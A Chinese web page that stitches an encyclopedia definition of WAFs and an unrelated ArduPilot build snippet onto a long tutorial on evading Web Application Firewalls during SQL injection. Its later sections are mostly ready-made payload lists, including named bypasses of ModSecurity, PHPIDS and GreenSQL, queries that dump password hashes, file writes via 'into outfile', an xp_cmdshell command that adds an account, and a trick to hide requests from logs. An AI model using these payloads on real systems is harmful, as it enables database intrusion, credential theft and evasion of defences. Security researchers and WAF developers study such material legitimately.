waf 订阅
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 展开全文
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
信息
外文名
WAF
又    称
网站应用级入侵防御系统
中文名
Web应用防护系统
功    能
专门为Web应用提供保护
WAF产生背景
当WEB应用越来越为丰富的同时,WEB 服务器以其强大的计算能力、处理性能及蕴含的较高价值逐渐成为主要攻击目标。SQL注入、网页篡改、网页挂马等安全事件,频繁发生。2007年,国家计算机网络应急技术处理协调中心(简称CNCERT/CC)监测到中国大陆被篡改网站总数累积达61228个,比2006年增加了1.5倍。其中,中国大陆政府网站被篡改各月累计达4234个。企业等用户一般采用防火墙作为安全保障体系的第一道防线。但是,在现实中,他们存在这样那样的问题,由此产生了WAF(Web应用防护系统)。Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。与传统防火墙不同,WAF工作在应用层,因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解,WAF对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,从而对各类网站站点进行有效防护。
收起全文
精华内容
参与话题
问答
  • waf

    2020-06-22 08:59:22
    ./waf configure --board=Pixhawk1 ./waf configure --board fmuv5 ./waf build --target examples/INS_generic --upload ./waf list | grep 'examples' ./waf copter
    ./waf configure --board=Pixhawk1
    ./waf configure --board fmuv5
    ./waf build --target examples/INS_generic --upload
    ./waf list | grep 'examples'

    ./waf copter

    ./waf configure --board sitl
    ./waf build --target examples/RCProtocolDecoder

     

    展开全文
  • WAF

    2019-09-26 20:52:11
    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion...

    建议阅读https://blog.csdn.net/whatday/article/details/61912578

    知己知彼,百战不殆 --孙子兵法

    [目录]

    0x0 前言

    0x1 WAF的常见特征

    0x2 绕过WAF的方法

    0x3 SQLi Filter的实现及Evasion

    0x4 延伸及测试向量示例

    0x5 本文小结

    0x6 参考资料

     

    0x0 前言

    促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向。之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过WAF的方法。网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八、九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待于我们在实际中去验证。看过数篇绕过WAF的文章后,前人对技术的总结已经比较全面,但是完整的内容可能分布在各处,查阅起来不太方便。另外,我们谈绕过WAF,其实就是谈如何绕过过滤机制,如果在讨论bypass技术的时候明确一下现有的一些filter的实现及其evasion,对于我这样的初学者来说是不是更好?还有就是如果在文章后面可以提供一些测试向量提供思路和参考,内容看起来很杂,但是也会比较方便呢?抱着这些想法,同时也顶着巨大的压力(前人工作已经比较完善,这么大的信息量总结起来对我是一次挑战),我还是决定写出本文,这样更能适应自己的需求,也可能更加适合一些朋友的需求。

    本文内容从技术上来说并非原创,也没有很新的或重大的发现,乃是这几天从各种资料信息中进行整理所得。本文会对形如http://www.site.com的URI进行简化,约定为z.com。

     

    0x1 WAF的常见特征

    之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。

    总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:

    1. 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话

    2. 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式

    3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

    4. WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

     

    WAF的常见特点:

    异常检测协议:拒绝不符合HTTP标准的请求

    增强的输入验证:代理和服务端的验证,而不只是限于客户端验证

    白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题

    基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活

    状态管理:重点进行会话保护

    另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

     

    如果是对于扫描器,WAF有其识别之道:

    扫描器识别主要由以下几点:

    1) 扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识

    2)  单IP+ cookie某时间段内触发规则次数

    3)  隐藏的链接标签等(<a>)

    4)  Cookie植入

    5)  验证码验证,扫描器无法自动填充验证码

    6)  单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404

     

    0x2 绕过WAF的方法

     从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧

    a) 大小写混合

    b)替换关键字

    c)使用编码

    d)使用注释

    e)等价函数与命令

    f)特殊符号

    g)HTTP参数控制

    h)缓冲区溢出

    i)整合绕过

     

    a) 大小写绕过

    大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

    举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 

    示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

     

    b)替换关键字

    这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

    举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

    同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

     

    c)使用编码

    1.URL编码

    在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29

    普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

    2.十六进制编码

    举例:z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…

       SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

    示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点

    3.Unicode编码

    Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

    看一下常用的几个符号的一些Unicode编码:

    单引号:   %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

    空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

    左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

    右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

    举例:?id=10%D6‘%20AND%201=2%23  

       SELECT 'Ä'='A'; #1

    两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用

    第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过

    另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下

    常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子

     

    d) 使用注释

    看一下常见的用于注释的符号有哪些://, -- , /**/, #, --+,--  -, ;--a

    1.普通注释

    举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   

       'union%a0select pass from users#

    /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、--+用于终结语句的查询

    2.内联注释

    相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

    举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

       ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

    两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

     

    e)等价函数与命令

    有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

    1.函数或变量

    hex()、bin() ==> ascii()

    sleep() ==>benchmark()

    concat_ws()==>group_concat()

    mid()、substr() ==> substring()

    @@user ==> user()

    @@datadir ==> datadir()

    举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

    或者:substr((select 'password'),1,1) = 0x70

       strcmp(left('password',1), 0x69) = 1

         strcmp(left('password',1), 0x70) = 0

       strcmp(left('password',1), 0x71) = -1

    上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

    2.符号

    and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了

    在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

    3.生僻函数

    MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          

    ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

    SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

    ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制

     

    f) 特殊符号

    这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多

    先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

    1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

    2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

    3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

    4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //绕过空格限制

    可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到

    本人搜罗了部分可能发挥大作用的字符(未包括'、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

    举例:

    关键字拆分:‘se’+’lec’+’t’

          %S%E%L%E%C%T 1

          1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

    !和():' or --+2=- -!!!'2

         id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

    本节最后在给出一些和这些字符多少有点关系的操作符供参考:

    >>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

    使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

     

    g) HTTP参数控制

    这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制

    1.HPP(HTTP Parameter Polution)

    举例:/?id=1;select+1,2,3+from+users+where+id=1—

       /?id=1;select+1&id=2,3+from+users+where+id=1—

       /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

    HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

     

     

     

     

     

     

    具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过

    2.HPF(HTTP Parameter Fragment)

    这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

    举例: 

      /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

      select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

    看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。

    3.HPC(HTTP Parameter Contamination)

    这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染

    RFC2396定义了如下一些字符:

    Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
    Reserved : ; / ? : @ & = + $ ,
    Unwise : { } | \ ^ [ ] `

    不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:

    以魔术字符%为例,Asp/Asp.net会受到影响

    h) 缓冲区溢出(Advanced)

    缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

    举例:

    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

     

    i) 整合绕过

    整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

    举例:

    z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
    

    id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()– -

    ?id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--  

     

    0x3 SQLi Filter的实现及Evasion

    SQL Injection时用得最多的一些关键字如下:and, or, union, where, limit, group by, select, ', hex, substr, white space

    对它们的检测,完整正则表达式为:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

    其应对方式依次为:

    ***note***:"=>"左边表示会被Filtered的语句,"=>"右边表示成功Bypass的语句,左边标红的为被Filtered的关键字,右边标蓝的为替代其功能的函数或关键字

    and
    => &&   or => ||

    union select user
    , password from users   =>  1 || (select user from users where user_id = 1) = 'admin

    1 || (select user from users where user_id = 1) = 'admin'  =>  1 || (select user from users limit 1) = 'admin


    1 || (select user from users limit 1) = 'admin' =>  1 || (select user from users group by user_id having user_id = 1) = 'admin'
    1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1
    1 || (select substr(group_concat(user_id),1,1) user from users) = 1 =>	1 || 1 = 1 into outfile 'result.txt' 或者  1 || substr(user,1,1) = 'a' 
    1 || (select substr(group_concat(user_id),1,1) user from users) = 1  =>  1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61
       或者 1 || substr(user,1,1) = unhex(61)  // ' Filtered
    1 || substr(user,1,1) = unhex(61)  =>	1 || substr(user,1,1) = lower(conv(11,10,36))
    1 || substr(user,1,1) = lower(conv(11,10,36)) =>  1 || lpad(user,7,1)
    1 || lpad(user,7,1)  =>  1%0b||%0blpad(user,7,1)  // ' ' Filtered

     从上面给出的示例来看,没有绝对的过滤,即便平时构建一个正常SQL语句的全部关键字都被过滤了,我们也还是能找到Bypass的方法。普世的阳光和真理尚且照不到每一个角落,人为构建出来的一个工具WAF就更加不可能尽善尽美了。我们可以相信WAF能为我们抵挡很多攻击,但是绝不能百分之一百的依赖它,就算它有着世上最为健全的规则,它本身也是会存在缺陷的。

    从前面到现在,基本上每条注入语句中都有数字,如果某查询的数据类型为字符串、或者做了严格限制数字要被和谐掉,这就有点棘手了,不过办法总是有的:

    上面两张图,第一张是不能使用数字时通过使用数学函数得到某个数字的值,第二章则是这些数字对应的36进制的值,因此有时候一个很简单的表达式可能会很复杂或者非常长,其实际就是计算mod(a,b):

    (mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), 
    pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))

     

    0x4 延伸及测试向量示例

    a) CMS绕过实例

    b) WAF绕过示例

    c) SQLi Filter Evasion Cheat sheet

    d) 测试向量

     

    a) Web应用绕过示例

    1. e107 CMS

    $inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); 
    if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { 
    foreach($inArray as $res) { 
    if(stristr($_SERVER['QUERY_STRING'], $res)) { 
    die("Access denied."); 
    }}}

    Bypass: vuln.php/trackback?inject=UNI%6fN SELECT

     

    2. PHP-Nuke CMS

    if(isset($_SERVER['QUERY_STRING']) 
    && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { 
    $queryString = $_SERVER['QUERY_STRING']; 
    if ( stripos($queryString, '%20union%20') 
    OR stripos($queryString, '/*') 
    OR stripos($queryString, '*/union/*') 
    OR stripos($queryString, '+union+') 
    OR stripos($queryString, 'concat')) { die('Illegal Operation'); }

    Bypass: vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'

    3. TYPO3 CMS

    $val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence
    Bypass: vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`

     

    b) WAF绕过示例

    1. ModSecurity CRS 2.0.9 

    1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1
    1'union/*!select*/pass,load_file(0x123456789)from users-- -

    2. PHPIDS 0.6.4 

    foo'!=@a:=0x1 div'1a false != true   //auth bypass

     foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0

     a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1

      

    3. GreenSQL 1.3.0 

    检测关键字:union, information_schema, into outfile, current_user, current_date, version

    检测函数:mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()

    adm' 'in' or 1='1        // auth bypass
    

    ‘-(1)union(select table_name,load_file(’/tmp/test’),@@version

    from /*! information_schema.tables */);%00 //select union

    ‘-’’ into%a0outfile '/tmp/test //write to file

    c) SQLi Filter Evasion Cheat sheet

    #注释
    ‘ or 1=1#
    ‘ or 1=1/* (MySQL < 5.1)
    ' or 1=1;%00
    ' or 1=1 union select 1,2 as `
    ' or#newline
    ' /*!50000or*/1='1
    ' /*!or*/1='1
    

    #前缀

    • – ~ !
      ‘ or –+2=- -!!!’2

    #操作符:
    ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, , XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

    #空格
    %20 %09 %0a %0b %0c %0d %a0 //
    ‘or+(1)sounds/
    /like“1“–%a0-
    ‘union(select(1),tabe_name,(3)frominformation_schema.tables)#

    #有引号的字符串
    SELECT ‘a’
    SELECT “a”
    SELECT n’a’
    SELECT b’1100001′
    SELECT _binary’1100001′
    SELECT x’61′

    #没有引号的字符串
     ‘abc’ = 0×616263

      ' and substr(data,1,1) = 'a'#
      ' and substr(data,1,1) = 0x61 # 0x6162
      ' and substr(data,1,1) = unhex(61) # unhex(6162)
      ' and substr(data,1,1) = char(97 )# char(97,98)
      ' and substr(data,1,1) = 'a'#
      ' and hex(substr(data,1,1)) = 61#
      ' and ascii(substr(data,1,1)) = 97#
      ' and ord(substr(data,1,1)) = 97#
      ' and substr(data,1,1) = lower(conv(10,10,36))# 'a'

    #别名
    select pass as alias from users
    select pass`alias alias`from users
    

    #字型
    ‘ or true = ’1 # or 1=1
    ‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
    ‘ or ’1 # or true

    #操作符字型
    select * from users where ‘a’='b’='c’
    select * from users where (‘a’='b’)=’c’
    select * from users where (false)=’c’
    
    #认真绕过‘=’
    select * from users where name = ”=”
    select * from users where false = ”
    select * from users where 0 = 0
    select * from users where true#函数过滤器ascii (97)
    load_file/*foo*/(0×616263)
    
    #用函数构建字符串
    ‘abc’ = unhex(616263)
    ‘abc’ = char(97,98,99)
     hex(‘a’) = 61
     ascii(‘a’) = 97
     ord(‘a’) = 97
    ‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))
    
    #特殊字符
    

      aes_encrypt(1,12) // 4鏷眥"^z譎é蒃a
      des_encrypt(1,2) // 侴Ò/镏k
      @@ft_boolean_syntax // + -><()~*:""&|
      @@date_format // %Y-%m-%d
      @@innodb_log_group_home_dir // .\

    @@new: 0
    @@log_bin: 1
    #提取子字符串substr(‘abc’,1,1) = ‘a’
    substr(‘abc’ from 1 for 1) = ‘a’
    substring(‘abc’,1,1) = ‘a’
    substring(‘abc’ from 1 for 1) = ‘a’
    mid(‘abc’,1,1) = ‘a’
    mid(‘abc’ from 1 for 1) = ‘a’
    lpad(‘abc’,1,space(1)) = ‘a’
    rpad(‘abc’,1,space(1)) = ‘a’
    left(‘abc’,1) = ‘a’
    reverse(right(reverse(‘abc’),1)) = ‘a’
    insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
    space(0) = trim(version()from(version()))
    

    #搜索子字符串
    locate(‘a’,'abc’)
    position(‘a’,'abc’)
    position(‘a’ IN ‘abc’)
    instr(‘abc’,'a’)
    substring_index(‘ab’,'b’,1)

    #分割字符串
    length(trim(leading ‘a’ FROM ‘abc’))
    length(replace(‘abc’, ‘a’, ”))

    #比较字符串
    strcmp(‘a’,'a’)
    mod(‘a’,'a’)
    find_in_set(‘a’,'a’)
    field(‘a’,'a’)
    count(concat(‘a’,'a’))

    #字符串长度
    length()
    bit_length()
    char_length()
    octet_length()
    bit_count()

    #关键字过滤
    Connected keyword filtering
    (0)union(select(table_name),column_name,…
    0//union/!50000select/table_namefoo//…
    0%a0union%a0select%09group_concat(table_name)….
    0′union all select alltable_namefoo frominformation_schema. tables

    #控制流
    case ‘a’ when ‘a’ then 1 [else 0] end
    case when ‘a’='a’ then 1 [else 0] end
    if(‘a’='a’,1,0)
    ifnull(nullif(‘a’,'a’),1)

     

    d) 测试向量

    %55nion(%53elect 1,2,3)-- -

    +union+distinctROW+select+
    /**//*!12345UNION SELECT*//**/
    /**/UNION/**//*!50000SELECT*//**/
    /*!50000UniON SeLeCt*/
    +#uNiOn+#sEleCt
    +#1q%0AuNiOn all#qa%0A#%0AsEleCt
    /*!u%6eion*/ /*!se%6cect*/
    +un/**/ion+se/**/lect
    uni%0bon+se%0blect
    %2f**%2funion%2f**%2fselect
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    REVERSE(noinu)+REVERSE(tceles)
    /*--*/union/*--*/select/*--*/
    union (/*!/**/ SeleCT */ 1,2,3)
    /*!union*/+/*!select*/
    union+/*!select*/
    /**//*!union*//**//*!select*//**/
    /*!uNIOn*/ /*!SelECt*/
    +union+distinctROW+select+
    -15+(uNioN)+(sElECt)
    -15+(UnI)(oN)+(SeL)(ecT)+

    id=1+UnIOn/**/SeLect 1,2,3—
    id=1+UNIunionON+SELselectECT 1,2,3—
    id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
    id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
    id=1+un/**/ion+sel/**/ect+1,2,3--
    id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
    id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
    id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
    id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x

    
    

    /**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
    /*!union*/+/*!select*/+1,2,3—
    /*!UnIOn*//*!SeLect*/+1,2,3—
    un/**/ion+sel/**/ect+1,2,3—
    /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
    ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
    index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,
    ?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--
    id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/

    id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES--
    id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

    SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way

    select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
    select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
    select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
    select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
    select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42

    /?id=1+union+(select'1',concat(login,hash)from+users)
    /?id=(1)union(((((((select(1),hex(hash)from(users))))))))

    ?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user lucifer UrWaFisShiT /*&id=1*/ --
    id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
    id=10 and 1=0/(select top 1 table_name from information_schema.tables)

    id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--
    id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隐藏log中的请求

     

    0x5 本文小结

    本文内容到这里内容差不多就算是完了,回顾一下本文内容,主要从三个方面展开:绕过WAF的方法、Filter的实现机制和Evasion措施、测试示例和向量。本文的第二部分”绕过WAF的方法“花了较多时间,需要参照已有的总结进行自己的总结并给出示例,第三、四两部分更多的是粘贴已收集到的向量,因此较快。本文内容和篇幅较多,涉及信息量很大,但是仍有许多不完善或遗漏的地方。本文的示例都取材自互联网,因材料较多无法在文章一一列举每个个示例和资料的来源,希望所引用资料出处的作者能谅解。在第六部分参考资料中将尽可能的列出完成本文所参考的文件或文章来源。我在整理时发现无论是本文还是网上其他地方列出的绕过方法大多都是三年以前就已经出来的,这几年对安全的重视已经远远超过了前几年,但是这些方法依旧可以使用。应该说不是每个有漏洞的主机都会打上补丁,同样并不是说Web攻击的技术公开了就所有人都会采取完善的措施修补。另一方面,某项技术的适用期可能只有一段时间,但是实现这项技术背后的思想和方法却不会轻易过时,因此沿着这个思想进行改进同样可以绕过已有的防范措施,这让人想起授人以鱼不如授人以渔。最后,要想真正掌握某项技术、完全搞懂一个东西,我们需要花费时间和经历去接触它,本文献给和我一样的新手,如果有感兴趣的朋友可以私信我讨论。

    0x6 参考资料

    WAF介绍:http://www.nsfocus.com/waf/jishu/js_01.html

    WAF实现扫描器识别:http://drops.wooyun.org/tips/730 

    WAF的绕过技巧:http://drops.wooyun.org/tips/132

    绕过waf的笔记:http://fuck.0day5.com/?p=622

    SQL注入中的WAF绕过技术:http://netsecurity.51cto.com/art/201301/376869.htm

    浅谈WAF的绕过:http://netsecurity.51cto.com/art/201212/374068.htm  

    SQL注入攻防入门详解(MS SQL):http://www.2cto.com/Article/201211/165466.html    

